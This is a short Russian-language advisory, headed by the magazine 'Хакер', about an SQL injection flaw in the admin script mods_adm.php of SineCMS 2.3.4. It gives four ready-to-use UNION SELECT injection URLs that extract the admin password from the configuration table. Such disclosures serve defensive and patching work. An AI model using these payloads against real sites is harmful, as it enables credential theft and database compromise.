Хакер #305. Многошаговые SQL-инъекции
Программа: SineCMS 2.3.4
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «Calendar» сценарием mods_adm.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Пример:
http://[target]/[sinecms_path]/admin/mods_adm.php? mods=Guestbook&action=modifica&id='+union+select+1,2,3,4,password, 6+from+sine_configuration/*
http://[target]/[sinecms_path]/admin/mods_adm.php? mods=Calendar&mese=11'+union+select+1,password,3,4,5,6,7,8,9 +from+sine_configuration/*
http://[target]/[sinecms_path]/admin/mods_adm.php? mods=Calendar&action=modify&id='+union+select+1,2,3,4,password,6,7,8,9 +from+sine_configuration/*
http://[target]/[sinecms_path]/admin/mods_adm.php? mods=Calendar&anno='+union+select+1,password,3,4,5,6,7,8,9 +from+sine_configuration/*